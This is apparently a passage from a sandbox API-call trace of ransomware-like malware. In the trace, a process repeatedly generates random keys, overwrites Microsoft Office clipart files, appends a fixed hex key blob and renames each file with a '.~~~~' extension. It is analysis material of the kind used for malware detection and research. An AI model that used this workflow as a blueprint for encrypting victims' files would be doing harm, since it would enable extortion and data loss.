	[0089.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ee62150, dwHighDateTime=0x1d60e1e)) 
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2a90
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a90 | out: hHeap=0x300000) returned 1
	[0089.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b910
	[0089.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.120] GetLastError () returned 0x0
	[0089.120] GetLastError () returned 0x0
	[0089.120] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.120] GetLastError () returned 0x0
	[0089.120] GetLastError () returned 0x0
	[0089.122] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe334, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.122] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1ccc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1ccc, lpOverlapped=0x0) returned 1
	[0089.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.123] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.123] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.123] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.123] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.123] CloseHandle (hObject=0x128) returned 1
	[0089.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.~~~~")) returned 1
	[0089.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.124] GetLastError () returned 0x0
	[0089.125] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.126] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.126] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20911587838) returned 1
	[0089.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ee62150, dwHighDateTime=0x1d60e1e)) 
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2a58
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0089.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a58 | out: hHeap=0x300000) returned 1
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0089.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.126] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.126] GetLastError () returned 0x0
	[0089.127] GetLastError () returned 0x0
	[0089.127] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.127] GetLastError () returned 0x0
	[0089.127] GetLastError () returned 0x0
	[0089.129] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe28c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.129] WriteFile (in: hFile=0x128, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1d74, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1d74, lpOverlapped=0x0) returned 1
	[0089.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0089.129] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.129] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.130] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.130] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.130] CloseHandle (hObject=0x128) returned 1
	[0089.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.~~~~")) returned 1
	[0089.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.131] GetLastError () returned 0x0
	[0089.131] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.240] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.240] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.248] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20923768419) returned 1
	[0089.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ef92c50, dwHighDateTime=0x1d60e1e)) 
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2748
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2748 | out: hHeap=0x300000) returned 1
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c1f8
	[0089.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.249] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.249] GetLastError () returned 0x0
	[0089.249] GetLastError () returned 0x0
	[0089.249] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.249] GetLastError () returned 0x0
	[0089.249] GetLastError () returned 0x0
	[0089.251] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe618, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.252] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x19e8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x19e8, lpOverlapped=0x0) returned 1
	[0089.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.252] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.252] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.253] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.253] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.253] CloseHandle (hObject=0x128) returned 1
	[0089.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.253] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.~~~~")) returned 1
	[0089.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.254] GetLastError () returned 0x0
	[0089.254] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.256] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.256] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.256] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20924634458) returned 1
	[0089.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9efb8db0, dwHighDateTime=0x1d60e1e)) 
	[0089.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f78
	[0089.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f78 | out: hHeap=0x300000) returned 1
	[0089.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bad8
	[0089.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.257] GetLastError () returned 0x0
	[0089.257] GetLastError () returned 0x0
	[0089.258] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.258] GetLastError () returned 0x0
	[0089.258] GetLastError () returned 0x0
	[0089.260] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff820, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.260] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x7e0, lpOverlapped=0x0) returned 1
	[0089.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.261] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.261] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.261] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.261] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.261] CloseHandle (hObject=0x128) returned 1
	[0089.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.262] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.~~~~")) returned 1
	[0089.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.262] GetLastError () returned 0x0
	[0089.263] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.265] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.265] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20925507118) returned 1
	[0089.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9efb8db0, dwHighDateTime=0x1d60e1e)) 
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f40
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f40 | out: hHeap=0x300000) returned 1
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c6b8
	[0089.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.266] GetLastError () returned 0x0
	[0089.266] GetLastError () returned 0x0
	[0089.266] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.266] GetLastError () returned 0x0
	[0089.266] GetLastError () returned 0x0
	[0089.269] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff644, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.269] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x9bc, lpOverlapped=0x0) returned 1
	[0089.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.270] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.270] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.270] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.270] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.270] CloseHandle (hObject=0x128) returned 1
	[0089.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.~~~~")) returned 1
	[0089.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.271] GetLastError () returned 0x0
	[0089.272] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.273] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.273] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
